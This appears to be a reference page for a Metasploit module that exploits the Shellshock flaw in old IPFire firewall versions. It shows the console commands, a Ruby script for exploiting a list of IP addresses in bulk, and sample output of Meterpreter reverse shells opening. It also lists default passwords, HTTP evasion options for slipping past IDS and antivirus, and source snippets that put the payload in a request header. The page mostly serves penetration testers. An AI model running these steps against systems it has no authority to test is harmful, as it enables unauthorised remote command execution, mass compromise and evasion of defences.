IPFire Bash Environment Variable Injection (Shellshock) - Metasploit
This page contains detailed information about how to use the exploit/linux/http/ipfire_bashbug_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: IPFire Bash Environment Variable Injection (Shellshock)
Module: exploit/linux/http/ipfire_bashbug_exec
Source code: modules/exploits/linux/http/ipfire_bashbug_exec.rb
Disclosure date: 2014-09-29
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 444, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-6271
This module is also known as Shellshock.
IPFire, a free linux based open source firewall distribution, version <= 2.15 Update Core 82 contains an authenticated remote command execution vulnerability via shellshock in the request headers.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using ipfire_bashbug_exec against a single host
Normally, you can use exploit/linux/http/ipfire_bashbug_exec this way:
msf > use exploit/linux/http/ipfire_bashbug_exec
msf exploit(ipfire_bashbug_exec) > show targets
... a list of targets ...
msf exploit(ipfire_bashbug_exec) > set TARGET target-id
msf exploit(ipfire_bashbug_exec) > show options
... show and set options ...
msf exploit(ipfire_bashbug_exec) > exploit
Using ipfire_bashbug_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your ipfire_bashbug_exec will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/ipfire_bashbug_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Official Source: ipfire Archived Copy: github
Verification Steps
- Install the firewall
- Start msfconsole
- Do:
use exploit/linux/http/ipfire_bashbug_exec
- Do:
set rhost 10.10.10.10
- Do:
set PASSWORD admin
- Do:
set CMD ls
- Do:
run
- You should see the output of the command that was run.
Options
PASSWORD
Password is set at install. May be blank, 'admin', or 'ipfire'.
CMD
This is the command to run on the system.
Scenarios
Example of running the ID command
msf > use exploit/linux/http/ipfire_bashbug_exec
msf exploit(ipfire_bashbug_exec) > set PASSWORD admin
PASSWORD => admin
msf exploit(ipfire_bashbug_exec) > set rhost 192.168.2.202
rhost => 192.168.2.202
msf exploit(ipfire_bashbug_exec) > set CMD id
CMD => id
msf exploit(ipfire_bashbug_exec) > exploit
[+] uid=99(nobody) gid=99(nobody) groups=16(dialout),23(squid),99(nobody)
[*] Exploit completed, but no session was created.
Go back to menu.
Msfconsole Usage
Here is how the linux/http/ipfire_bashbug_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/ipfire_bashbug_exec
[*] Using configured payload cmd/unix/generic
msf6 exploit(linux/http/ipfire_bashbug_exec) > show info
Name: IPFire Bash Environment Variable Injection (Shellshock)
Module: exploit/linux/http/ipfire_bashbug_exec
Platform: Linux, Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-09-29
Provided by:
h00die <[email protected]>
Claudio Viviani
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 444 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
USERNAME admin yes User to login with
VHOST no HTTP server virtual host
Payload information:
Description:
IPFire, a free linux based open source firewall distribution,
version <= 2.15 Update Core 82 contains an authenticated remote
command execution vulnerability via shellshock in the request
headers.
References:
https://www.exploit-db.com/exploits/34839
https://nvd.nist.gov/vuln/detail/CVE-2014-6271
Also known as:
Shellshock
Module Options
This is a complete list of options available in the linux/http/ipfire_bashbug_exec exploit:
msf6 exploit(linux/http/ipfire_bashbug_exec) > show options
Module options (exploit/linux/http/ipfire_bashbug_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 444 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
USERNAME admin yes User to login with
VHOST no HTTP server virtual host
Payload options (cmd/unix/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the linux/http/ipfire_bashbug_exec exploit:
msf6 exploit(linux/http/ipfire_bashbug_exec) > show advanced
Module advanced options (exploit/linux/http/ipfire_bashbug_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/ipfire_bashbug_exec module can exploit:
msf6 exploit(linux/http/ipfire_bashbug_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/ipfire_bashbug_exec exploit:
msf6 exploit(linux/http/ipfire_bashbug_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/ipfire_bashbug_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/ipfire_bashbug_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <PEER> - Could not connect to web service - no response
- <PEER> - Invalid credentials (response code: <RES.CODE>)
- <PEER> - Could not connect to the web service
- <PEER> - Could not connect to web service - no response
- <PEER> - Invalid credentials (response code: <RES.CODE>)
- <PEER> - Could not connect to the web service
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Could not connect to web service - no response
Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:
70: begin
71: res = send_request_cgi(
72: 'uri' => '/cgi-bin/index.cgi',
73: 'method' => 'GET'
74: )
75: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
76: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
77: /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
78:
79: if version && update && version == "2.15" && update.to_i < 83
80: Exploit::CheckCode::Appears
<PEER> - Invalid credentials (response code: <RES.CODE>)
Here is a relevant code snippet related to the "<PEER> - Invalid credentials (response code: <RES.CODE>)" error message:
71: res = send_request_cgi(
72: 'uri' => '/cgi-bin/index.cgi',
73: 'method' => 'GET'
74: )
75: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
76: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
77: /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
78:
79: if version && update && version == "2.15" && update.to_i < 83
80: Exploit::CheckCode::Appears
81: else
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
80: Exploit::CheckCode::Appears
81: else
82: Exploit::CheckCode::Safe
83: end
84: rescue ::Rex::ConnectionError
85: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
86: end
87: end
88:
89: #
90: # CVE-2014-6271
<PEER> - Could not connect to web service - no response
Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:
101: 'uri' => '/cgi-bin/index.cgi',
102: 'method' => 'GET',
103: 'headers' => { 'VULN' => payload }
104: )
105:
106: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
107: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
108: /<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
109: print_good(output) unless output.nil?
110:
111: rescue ::Rex::ConnectionError
<PEER> - Invalid credentials (response code: <RES.CODE>)
Here is a relevant code snippet related to the "<PEER> - Invalid credentials (response code: <RES.CODE>)" error message:
102: 'method' => 'GET',
103: 'headers' => { 'VULN' => payload }
104: )
105:
106: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
107: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
108: /<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
109: print_good(output) unless output.nil?
110:
111: rescue ::Rex::ConnectionError
112: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
105:
106: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
107: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
108: /<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
109: print_good(output) unless output.nil?
110:
111: rescue ::Rex::ConnectionError
112: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
113: end
114: end
115: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10570 Merged Pull Request: AKA Metadata Refactor
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8629 Merged Pull Request: add 'Also known as', AKA 'AKA', to module references
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6971 Merged Pull Request: added Rank to ipfire modules
- #6924 Merged Pull Request: IPFire shellshock exploit
References
See Also
Check also the following modules related to this module:
- exploit/linux/http/advantech_switch_bash_env_exec
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- exploit/multi/http/apache_mod_cgi_bash_env_exec
- exploit/unix/dhcp/bash_environment
- exploit/multi/http/cups_bash_env_exec
- auxiliary/server/dhclient_bash_env
- exploit/multi/ftp/pureftpd_bash_env_exec
- exploit/unix/smtp/qmail_bash_env_exec
- exploit/osx/local/vmware_bash_function_root
- exploit/linux/http/ipfire_oinkcode_exec
- exploit/linux/http/ipfire_pakfire_exec
- exploit/linux/http/ipfire_proxy_exec
Related Nessus plugins:
- Solaris 10 (x86) : 126547-10 (deprecated)
- Solaris 10 (sparc) : 126546-10 (deprecated)
- Bash Remote Code Execution (Shellshock)
- Debian DSA-3032-1 : bash - security update
- RHEL 5 / 6 / 7 : bash (RHSA-2014:1293) (Shellshock)
- GNU Bash Environment Variable Handling Code Injection (Shellshock)
- Slackware 13.0 / 13.1 / 13.37 / 14.0 / 14.1 / current : bash (SSA:2014-267-01) (Shellshock)
- CentOS 5 / 6 / 7 : bash (CESA-2014:1293) (Shellshock)
- FreeBSD : bash -- remote code execution vulnerability (71ad81da-4414-11e4-a33e-3c970e169bc2) (Shellshock)
- Mandriva Linux Security Advisory : bash (MDVSA-2014:186)
Authors
- h00die <[email protected]>
- Claudio Viviani
Version
This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.